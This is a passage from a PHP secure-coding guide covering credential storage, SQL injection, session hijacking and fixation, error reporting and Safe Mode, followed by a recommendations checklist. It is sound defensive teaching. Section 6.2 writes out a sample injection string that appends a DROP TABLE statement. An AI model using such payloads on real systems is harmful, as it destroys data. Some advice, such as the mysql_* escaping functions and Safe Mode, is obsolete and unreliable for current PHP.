They set default values the MySQL extension uses to access the database. This file is then included into the Apache configuration with the following line in `httpd.conf`:

```
Include "/path/to/file-with-db-credentials"
```

This is possible because Apache parses its configuration files as root. After the initialization phase Apache switches to its technical user. That way neither the web server nor PHP scripts can directly access the file containing the access credentials.

For other databases that do not allow to set default access credentials via `php.ini` directives a similar solution exists. For them a file containing server environment variables can be included into the web server configuration:

```
SetEnv DB_HOST "hostname"
SetEnv DB_USER "username"
SetEnv DB_PASS "password"
```

PHP scripts can access these variables via `$_SERVER['DB_USER']` or the `getenv()` function.

When using this solution, it is important that the server environment is not accidentally exposed. This could happen with a call of `phpinfo()`, `print_r($_SERVER)` or similar. Moreover it is important to define the variables on the virtual host level in shared environments. Global definitions would be accessible from within all virtual hosts.

Recommendations:

- Store database access credentials in a file only root can read and include it into Apache's configuration file. Use either `php.ini` directives or server environment variables in this file.
- When database access credentials can only be stored in include files, these files must be secured against public access.

6.2 SQL Injection

SQL injection attacks exploit poor input validation in order to inject code into SQL queries. That way an attacker might be able to perform arbitrary operations on the database. SQL injection attacks come in many different forms. The following example presents only one representative from this class of attacks:

```
SELECT * FROM users
WHERE name = '$name';
```

It returns all user entries with a name matching the one in the variable `name`. If the variable contains user input, an attacker can supply the following string:

```
smith'; DROP TABLE users;
```

If the application does not perform proper input validation and does not escape special characters in the supplied string, the result will be the following SQL query:

```
SELECT * FROM users
WHERE name = 'smith'; DROP TABLE users;
```

Besides selecting the entry for the user Smith, the resulting SQL statements deletes the whole user table. This is possible because neither single quotes, nor semicolons were escaped in this example. So, when the application assembles the query string, the result is different from what the developer intended.

A good way to prevent SQL injection attacks is to use prepared statements. Prepared statements are query templates. For reoccurring and similar statements, one defines a template with placeholders for all variable data. Later on, these placeholders are filled with the actual data. Prepared statements are a feature of the database management system. Template creation and placeholder substitution is managed by the database system, not the application. Unfortunately, not all database management systems support this feature.

The benefit of prepared statements with respect to security is that they are type-strict. During template definition the data type for each placeholder is set. When these placeholders are substituted, the type of the input must match the type of the placeholder. A type mismatch will cause an error. Moreover, the data bits are never executed as a separate query.

As an additional benefit, prepared statements improve query performance. Instead of compiling the same query with different data over and over again, the database engine compiles the statements only once in the preparation step. This precompiled query is then used for all upcoming queries within the same database connection.

As an additional line of defense and for all cases where the chosen database management system does not support prepared statements, it is important to validate all input to SQL queries:

- Use the cast operator for converting numerical values to the correct type. The cast operator ensures that they only contain numeric data of the desired type.
- Use a white list of allowed characters for fields like telephone numbers. Make sure that special characters like semicolons or quotes are not part of the list.
- Use database-specific escaping functions for escaping all special characters from fields that take arbitrary strings as input.

The generic function for escaping database input is `addslashes()`. It is also used by the Magic Quotes feature discussed in section 2.2. However, this function does not necessarily remove all control characters as they are often database specific. So if possible, database-specific escaping functions should be used. For MySQL databases, PHP comes with two of these special functions:

- `mysql_real_escape_string()`
- `mysql_escape_string()`

Another database PHP offers specialized functions for is PostgreSQL:

- `pg_escape_string()`
- `pg_escape_bytea()`

As different database engines need different treatment of their input data, it is difficult to write applications in a generic way that is independent of the used database. When dealing with such problems the package DB from the PEAR package collection might be helpful. It provides a common interface for database access that is independent of the used database engine. When using its `prepare()` and `execute()` functions, it automatically escapes all strings in the right way depending on what database engine is used.

Moreover, in order to prevent successful SQL injection attacks, it is important to give the attacker as few information about the database structure as possible. This means basically to turn off all database related error messages in the delivered HTML pages. Crafting attack strings is much harder for an attacker if he has to deal with a black box as if the application reports all failed query strings back to the user.

An additional measure that helps against SQL injection attacks is to use database users that have only minimal rights. For example queries that only read data from the database should be performed with a user that has only read access. That way all injections of write statements into such a query will fail.

Recommendations:

- If the database management system supports it, make use of prepared statements.

- Use the cast operator to convert numerical data to the desired data type before including it into query strings.
- Use database-specific escape functions for escaping special characters from strings before including them into query strings.
- Consider using the PEAR package DB for database access. It automatically chooses the right escaping function based on the used database engine.
- Use database users with minimal rights to perform queries.

7 Sessions

HTTP is a stateless protocol. So whenever a web application needs to create a session containing data that is persistent over multiple page requests, it must take care of the required session handling itself. In order to relieve the programmer from this work, PHP offers a built-in session handling mechanism.

The most important function of PHP's native session handling is `session_start()`. It checks whether a request includes a session identifier. If there is an identifier, it provides all session data in the global array `$_SESSION` to the application. If the request does not include any identifier, PHP generates one and creates a new record for storing the session data.

However, it is important to note that PHP's native session handling functions only provide a framework. It is still the developers responsibility to use the provided framework functions properly in order to create a safe and secure session handling. The following sections explain some important aspects of how to apply the offered functions properly.

7.1 Access Control

If session handling is needed only for authentication purposes, there are two packages from the PHP package repository PEAR that facilitate this task.

The first authentication package is called Auth. It generates HTML driven login forms. For the user database different database management systems can be used.

The other authentication system is called Auth_HTTP. In contrast to the package Auth, it does not render its own HTML form for login. Instead it sends an HTTP header that causes web browsers to present a login dialog. The used HTTP authentication mechanism is the same as with using htaccess files for access control. The database backend for the user database is interchangeable with the Auth_HTTP package. The requirement for using this package is that PHP runs as an Apache module.

For details about the packages Auth and Auth_HTTP consult the documentation that accompanies these packages.

Recommendation:

- For authentication purposes consider the usage of the PEAR packages Auth and Auth_HTTP.

7.2 Session Hijacking

For hijacking a user session an attacker usually needs to know this session's identifier. There are three ways to obtain this knowledge:

- Prediction
- Capture

- Fixation

The risk of identifier prediction is minimized as PHP's native session management generates sufficiently random identifiers. The risk of session identifier fixation is dealt with in section 7.3.

For capturing a valid session identifier there are three main options:

- Wiretapping
- Cross-Site Scripting
- Exploiting browser vulnerabilities that expose cookies

To protect against wiretapping the application should use SSL protected connections. Ways for defending against Cross-Site Scripting are presented in section 2.4. Defending against browser vulnerabilities is simply not possible for application developers. It's the responsibility of the browser manufacturer to provide fixes and the responsibility of the users to apply these fixes.

In addition to these measures, the literature discusses the use of additional features for identifying a client besides the session ID. The features used for this purpose do not need to be unique. The idea is simply to introduce new information items in order to raise the bar for an attacker. He must not only gain knowledge of the session identifier but also of the additional identification features. Examples of such features are:

- Client IP address
- User agent string of the web browser
- HTTP accept header string
- JavaScript accessible information about the client system like operating system or screen resolution

The problem with these additional information items is that with most attack vectors the attacker most probably gains access to these information bits as well. Moreover, it is difficult to find suitable information items. Most of them lead to undesired side effects in real world scenarios.

For example the client IP address the application sees can change within a session. The reason can be load balancing proxies or reverse proxies. In the same scenario the user agent string can change as proxies sometimes append their own identification string. Using the HTTP accept header string does not work either as the Microsoft Internet Explorer changes this string when the user refreshes the browser. Other information items about the client system like the screen resolution can change during a session too. Think of a user that attaches an external monitor to his notebook during a running session.

Consequently such measures add minimal additional security at the expense of problems that might be hard to track down. If such measures are implemented nevertheless it is important to keep the inconvenience for the user as small as possible in the case of false alarm. The application should not terminate the session when for example the IP address of the client changes. Instead it should present the user a password prompt. If the password is correct the application should continue where it stopped.

Recommendations:

- Use SSL connection for protection against wiretapping and session identifier capture.
- Protect against Cross-Site Scripting attacks. See section 2.4 for details.
- Using additional features like IP addresses for session identification are error-prone and add only minimal security. Either abstain from using such mechanism or reduce the user inconvenience by prompting for a password instead of terminating the session when the additional identification feature changes.

7.3 Session Fixation

Session Fixation occurs if an attacker is able to trick a user into using a session ID of his choosing. Usually this means to craft a URL to a login page, that passes a valid session ID as an URL parameter. If the application creates a session for the provided ID and the user logs in, the attacker knows the ID of a running session. This is all he needs to hijack this session.

The PHP function for starting a session is `session_start()`. It automatically generates a session with a new session ID if the client does not provide one. However if the user supplies a session ID `session_start()` will use this ID even if there is no corresponding session. So all applications that solely rely on this function are vulnerable to Session Fixation.

There are two methods for defending the PHP's native session handling against such attacks:

- The application must enforce the generation of a new session ID during the login process. The PHP function for generating a new session ID is `session_regenerate_id()`.
- The second defense option is to accept only session IDs provided by cookies. That way an attacker cannot integrate session IDs into URLs. While this effectively prevents most Session Fixation attempts, it also locks out all users that have cookies turned off. So for most applications that offer their services to a public audience this is no option.

However, in scenarios where it is possible to accept only session IDs via cookie by setting the following interpreter option:

```
session.use_only_cookies = 1
```

Recommendations:

- Always enforce the generation of a new session ID on login pages.
- If the application targets a closed user group, consider to accept session IDs only via cookies.

7.4 Exposed Session Data

By default PHP stores all session data in the file system. For each session PHP creates a file in a configurable directory. By default the systems temporary directory is used. It is important to secure the used directory and the session files from unauthorized access. For one, the session file might contain sensitive data but the most important asset is the session identifier. If an attacker gains knowledge of this identifier, he can overtake the session.

The problem with PHP's session files is that they contain the session identifier in their filename. So, especially in shared hosting environments it is important to restrict access to the temporary directory that contains the session files.

The most secure solution for this problem would be to avoid the file system for storing session data in favor of a database management system. PHP allows this, as it offers an interface for adding custom handlers for session data storage.

The function `session_set_save_handler()` can be used to define custom functions that take care of all necessary session storage tasks. A function call that defines such handlers might look as follows:

```
session_set_save_handler(  
    "custom_open",  
    "custom_close",  
    "custom_read",  
    "custom_write",  
    "custom_destroy",  
    "custom_clean");
```

The functions with the prefix `custom_` must implement the storage management functionality.

Recommendation:

- Make sure PHP's session files are protected against unauthorized access.
- Especially in shared hosting scenarios it is advisable to use custom storage handlers for managing session data in a database system.

8 General PHP Interpreter Configuration

8.1 Error Reporting

The PHP interpreter offers configurable error reporting functionalities. It is generally a good idea to turn error reporting on for both development and production systems. It helps to notice and track down errors and shows warnings about bad coding style. However, on production systems these error messages should never be displayed to the user. They offer too much information about the coding that facilitates exploitation of vulnerabilities. For example SQL injection attacks are much more easier to perform if the error page displays the failed SQL statement to the attacker.

The following options configure the most important aspects of PHP error reporting:

- `error_reporting = E_ALL`; This option controls the log level. It is advisable to set the log level to `E_ALL` for both development and production systems as it helps to avoid bad coding styles. It warns about things like the use of uninitialized variables or strings without quotes as array index.
- `display_errors = off`; This option controls whether error messages are delivered to the client system. It is advisable to set this option to `off` on all production systems as the error messages may reveal information that can be used in an attack. Note that it is no good idea to set this option at runtime via `ini_set()`. Depending on the error this configuration function is not called, thus having no effect.
- `log_errors = on`; This option turn logging of error messages on. On production systems all errors should be logged. That way they are available to the administrator. If the logs are read regularly they can give information about programming errors and attack attempts.
- `error_log = filename`; This option defines the file the error logs are written to. The keyword `syslog` allows logging to the system logger. In shared host scenarios it is advisable to make sure that log files cannot be read by other users.

Recommendations:

- Set error reporting to a level that issues warnings about bad coding style, at least during development.
- Turn of display of error messages on production systems.
- Log all error messages on production systems and make sure the log files are read regularly.

8.2 Debugging Information

During development it is sometimes useful to include debugging information in the generated output. Examples for such debugging information can be values of certain variables or performance data. The data can either be included directly in the page or as a comment in the source code. It is important that this debugging information is limited to the development phase and that it does not appear in the output of production systems. It might provide valuable information to an attacker.

In order to prevent debugging information in the output of production systems it is advisable to make every output of such information dependent on the value of a dedicated debugging variable. That way there is no need to deal with removing such output functions from production code and maintaining different versions for development and production.

However, it is important to make sure that the debugging variable cannot be manipulated by an attacker. A good way is to use a custom configuration variable for that purpose. It can be set via `php.ini` or `htaccess` and can be accessed through `getenv()`. The following code snippet illustrates the discussed approach:

```
if (getenv('DEBUG_MODE')) {  
    print_r($some_variable);  
}
```

Another approach is to use the `trigger_error()` function for writing debug information to the PHP logging facility. The debug messages may use the error level notice so they can be turned off in production environments:

```
trigger_error("debug info: some_variable = $some_variable",  
            E_USER_NOTICE);
```

It will produce the following error message:

```
Notice: debug info: some_variable = test in  
/home/username/public_html/index.php on line 31
```

An advantage of this approach is the possibility to turn on debug mode even on production systems when needed as all debug information is only written to log files as long as `display_errors` is set to off.

Recommendations:

- Make sure that there is an easy way to remove all debugging information from the output.
- Users must not be able to turn the debugging mode on. Using configuration variables for that purpose is a safe option.
- Consider the `trigger_error()` function as an alternative for your current debugging function.

8.3 Safe Mode

A problem that is not directly within the area of responsibility of the developer of web applications is security in shared hosting scenarios. Generally it is not advisable to use PHP in shared hosting environments for security critical applications. Especially when the PHP interpreter runs as an Apache module, all scripts are executed with the technical user of the web server. Thus all scripts have potentially access to all virtual hosts with all their directories on the system. That way it is possible to access files of the other hosting customers.

The PHP feature Safe Mode is an attempt to solve this problem. However, it tackles the problem at the PHP level, not at the operating system level. So the problem might remain unresolved, depending on what other programming languages are allowed on the shared hosting system.

The following configuration directives can be used for configuring Safe Mode restrictions:

- `safe_mode` – Turns Safe Mode on and off.
- `safe_mode_gid` – By default Safe Mode limits access to those files that have the same owner as script file. This option relaxes this restriction to files that have the same group owner.
- `safe_mode_include_dir` – This option defines a list of directories. For include files within these directories the owner and group owner restrictions do not apply.
- `safe_mode_exec_dir` – This option defines a list of directories. Functions like `system()` that call system function, can only execute files that reside in the defined directories.
- `safe_mode_allowed_env_vars` – This option defines a prefix for environment variables. PHP scripts can only set variables with this prefix.
- `safe_mode_protected_env_vars` – This option defines a list of environment variables PHP scripts are not allowed to change.
- `open_basedir` – This option defines a path prefix. If defined, PHP scripts can only access files with a path that begins with the defined prefix.
- `disable_functions` – This option defines a list of PHP functions that are disabled and cannot be executed by PHP scripts.
- `disable_classes` – This option defines a list of disabled PHP classes. These classes cannot be accessed by scripts.

While the Safe Mode feature has the conceptual flaw that it works on the wrong layer, it can help to mitigate risks. This does not only apply to shared hosting scenarios but also to dedicated web servers that host a single application. For example limiting file access to a specified path and disabling function like `system()` can help to limit the damage when an attacker finds a way to inject code.

Recommendations:

- Do not use PHP Safe Mode as an substitute for proper programming and input validation.
- Only use it as an additional line of defense.
- Consider the usage of Safe Mode even on dedicated web servers that host a single application.

9 Summary

When writing PHP applications the general guidelines for writing secure internet applications apply. The most important rule is to mistrust all user input. Before this input is used by the application, it must be carefully validated.

Special care is necessary whenever user input is included in the rendered output pages. The filter mechanisms must ensure that an attacker cannot inject harmful content like JavaScript code into the page in order to perform Cross-Site Scripting attacks.

PHP functions that are especially dangerous in combination with user input are all functions that handle files or execute commands on the system shell. User input in combination with file handling is especially dangerous as by default PHP handles remote files from web and FTP servers transparently. This feature should be turned off in order to prevent that an attacker injects his own files into the system.

Other important aspects are to secure secret data like database access credentials. If possible they should be stored out of the web server's document root and should be passed to the application as configuration option.

With the built-in PHP session mechanism it is important to handle it properly in order to prevent session fixation attacks. Moreover the default mechanism that stores session data in the file system should be replaced by custom methods that store this data in a database system.

The most important configuration option for the PHP interpreter is Register Globals. This feature should be turned off and applications should never use this feature. Moreover, the error reporting functionality of the PHP interpreter should be configured properly. Error messages should never be displayed to the user. They should be written to local log files. In order to get all valuable information the level of reported error messages should be lowered.

10 References

- [1] Chris Shiflett: *Essential PHP Security*, O'Reilly Media, November 2005.
- [2] Ilia Alshanetsky: *PHP Architect's Guide to PHP Security*, Marco Tabini & Associates, September 2005.
- [3] Chris Snyder, Michael Southwell: *Pro PHP Security*, Apress, August 2005.
- [4] *PHP Manual*, Security Section, URL: <http://www.php.net/manual/en/security.php>.
- [5] Shaun Clowes: *A Study In Scarlet – Exploiting Common Vulnerabilities in PHP Applications*, 2001, URL: <http://www.secureality.com.au/archives/studyinscarlet.txt>.
- [6] PHP Security Consortium: *PHP Security Guide*, Version 1.0, 2005, URL: <http://phpsec.org/php-security-guide.pdf>.
- [7] Peer Heinlein: *Web Server Airbag – Secure PHP in Multiuser Environments*, Linux Magazine, November 2004, URL: http://www.linux-magazine.com/issue/48/PHP_Security.pdf.
- [8] Gavin Zuchlinski: *Security Vulnerabilities in PHP Web Applications*, Insecure Magazine, Issue 1, April 2005, URL: <http://www.insecuremagazine.com/INSECURE-Mag-1.pdf>.
- [9] Gavin Zuchlinski: *Advanced PHP Security – Vulnerability Containment*, Insecure Magazine, Issue 2, June 2005, URL: <http://www.insecuremagazine.com/INSECURE-Mag-2.pdf>.
- [10] John Coggeshall: *PHP Security, Part 1*, July 2003, URL: http://www.onlamp.com/pub/a/php/2003/07/31/php_foundations.html.
- [11] John Coggeshall: *PHP Security, Part 2*, August 2003, URL: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html.
- [12] John Coggeshall: *PHP Security, Part 3*, October 2003, URL: http://www.onlamp.com/pub/a/php/2003/10/09/php_foundations.html.
- [13] David Sklar: *PHP and the OWASP Top Ten Security Vulnerabilities*, URL: <http://www.sklar.com/page/article/owasp-top-ten>.
- [14] Ilia Alshanetsky: *Top 10 Ways to Crash PHP*, April 2004, URL: http://ilia.ws/archives/5_Top_10_ways_to_crash_PHP.html.
- [15] Chris Shiflett: *Security Corner: File Uploads*, October 2004, URL: <http://shiflett.org/articles/security-corner-oct2004>.
- [16] Chris Shiflett: *Security Corner: Cross-Site Request Forgeries*, December 2004, URL: <http://shiflett.org/articles/security-corner-dec2004>.
- [17] Mitja Kolšek: *Session Fixation Vulnerability in Web-based Applications*, December 2002, URL: http://www.acrossecurity.com/papers/session_fixation.pdf.
- [18] Paul Johnston: *Authentication and Session Management on the Web*, November 2004, URL: http://www.westpoint.ltd.uk/advisories/Paul_Johnston_GSEC.pdf.

11 Check Lists

General User Input Handling	
	Input Filtering
	Do not trust user input. Validate it carefully.
	Access user input only via the global arrays <code>\$_GET</code> , <code>\$_POST</code> , etc.
	Use a dedicated naming convention for variables that contain the filtered input.
	Make sure only these variables are used for accessing user input throughout the application. Filtering functions should be the only exception.
	Always initialize all variables that store clean user input.
	Use cast operators for converting user input to the desired type.
	Magic Quotes
	Turn off Magic Quotes.
	Do not rely on Magic Quotes for input validation. Perform customized checks and make use of specialized escaping functions.
	Check for Magic Quotes and undo its effects in order to write portable code.
	Register Globals
	Turn off Register Globals.
	Do not make use of the Register Globals feature in your code. Allow administrators of the target machine to turn it off.
	Always initialize all variables. Turn on logging off <code>E_NOTICE</code> errors in order to spot the use of uninitialized variables.
	Right at the beginning of each script, check whether Register Globals is turned on. If this is true either terminate the script or undo the effects of Register Globals.
	Cross-Site Scripting
	Replace all HTML special chars with their corresponding HTML entity. Use the functions <code>htmlspecialchars()</code> and <code>htmlentities()</code> to accomplish this.
	As an alternative HTML tags can be removed altogether. Use the <code>strip_tags()</code> function for this task. If possible do not exclude any tags from being stripped from the input.
	If some markup should be allowed in user input, consider the definition of custom tags. Replace them with their HTML counterparts after stripping all HTML tags from the input.
	Cross-Site Request Forgerie
	Use POST instead of GET requests where applicable.
	Enforce the usage of POST requests by accessing the input via the <code>\$_POST</code> array. Do not use Register Globals variables or the <code>\$_REQUEST</code> array.
	Include hidden fields with random tokens in your forms.
File Handling	
	Directory Traversal
	Filter all input to file operation functions.
	If possible build a list of allowed file names, for example by listing the content of the working directory.
	Apply <code>realpath()</code> to all user provided pathnames before checking whether they meet defined restrictions or not.
	Use the functions <code>basename()</code> and <code>dirname()</code> for extracting the filename or directory name from a path.
	Remote Files
	Turn off transparent handling of remote files.
	Use functions from specialized libraries like Curl for accessing remote files.
	File Upload

	<p>Use the <code>\$_FILES</code> superglobal array for accessing information about uploaded files. The legacy approach of using any global variables set by Register Globals is dangerous and should not be used.</p> <p>If the legacy method is used anyway, the function <code>is_uploaded_file()</code> should be used for checking if the name of the temporary file is manipulated.</p> <p>The name of the uploaded file is user input. Either ignore it or validate it properly before using this name for saving the uploaded file.</p> <p>The content type of the uploaded file is user input. Ignore it when filtering certain file formats.</p> <p>If possible, store uploaded files outside of the document root.</p> <p>If the files must be located within the document root, restrict the allowed file formats. Filter especially PHP scripts and HTML files that may contain JavaScript.</p> <p>Deactivate file upload if it is not needed.</p>
Include Files	
	Source Code Exposure
	<p>Include files should be placed outside of the document root. Developers should facilitate this by making the location of include files configurable. The installation manual should list all files that need protection.</p> <p>The web server configuration should prevent the delivery of files matching the name pattern of include files as fallback solution or additional protection. Developers should facilitate this by using special name patterns for include files. The installation manual should list all files that need protection and the used name pattern.</p> <p>Using the ending <code>.php</code> for include files should only be considered if the included files contain only function definitions and no function calls. The chosen filenames should still make the include file nature obvious.</p>
	Code Injection
	<p>Validate user input before using it in include statements. If possible use white list of allowed file names and take only an index as user input.</p> <p>Turn off transparent handling of remote files (<code>allow_url_fopen</code>).</p>
Command Handling	
	PHP Command Execution
	<p>Do not use functions that execute their input as PHP code in combination with user input. There is most probably a safer alternative.</p> <p>If a replacement is not possible, properly filter the input.</p>
	Shell Command Execution
	<p>Use the PHP functions <code>escapeshellcmd()</code> and <code>escapeshellarg()</code> for escaping user input that is passed to functions that execute it as a shell command.</p>
Databases	
	Access Credential Exposure:
	<p>Store database access credentials in a file only root can read and include it into Apache's configuration file. Use either <code>php.ini</code> directives or server environment variables in this file.</p> <p>When database access credentials can only be stored in include files, these files must be secured against public access.</p>
	SQL Injection
	<p>If the database management system supports it, make use of prepared statements.</p> <p>Use the cast operator to convert numerical data to the desired data type before including it into query strings.</p> <p>Use database-specific escape functions for escaping special characters from strings before including them into query strings.</p> <p>Consider using the PEAR package DB for database access. It automatically chooses the right escaping function based on the used database engine.</p> <p>Use database users with minimal rights to perform queries.</p>
Sessions	
	Access Control
	<p>For authentication purposes consider the usage of the PEAR packages Auth and Auth_HTTP.</p>

	<p>Session Hijacking</p> <p>Use SSL connection for protection against wiretapping and session identifier capture.</p> <p>Protect against Cross-Site Scripting attacks.</p> <p>Using additional features like IP addresses for session identification are error-prone and add only minimal security. Either abstain from using such mechanism or reduce the user inconvenience by prompting for a password instead of terminating the session when the additional identification feature changes.</p> <p>Session Fixation</p> <p>Always enforce the generation of a new session ID on login pages.</p> <p>If the application targets a closed user group, consider to accept session IDs only via cookies.</p>
	<p>Exposed Session Data</p> <p>Make sure PHP's session files are protected against unauthorized access.</p> <p>Especially in shared hosting scenarios it is advisable to use custom storage handlers for managing session data in a database system</p>
<p>PHP Interpreter Configuration</p>	
	<p>Error Reporting</p> <p>Set error reporting to a level that issues warnings about bad coding style, at least during development.</p> <p>Turn off display of error messages on production systems.</p> <p>Log all error messages on production systems and make sure the log files are read regularly.</p>
	<p>Debugging Information</p> <p>Make sure that there is an easy way to remove all debugging information from the output.</p> <p>Users must not be able to turn the debugging mode on. Using configuration variables for that purpose is a safe option.</p> <p>Consider the <code>trigger_error()</code> function as an alternative for your current debugging function.</p>
	<p>Safe Mode</p> <p>Do not use PHP Safe Mode as a substitute for proper programming and input validation.</p> <p>Only use it as an additional line of defense.</p> <p>Consider the usage of Safe Mode even on dedicated web servers that host a single application.</p>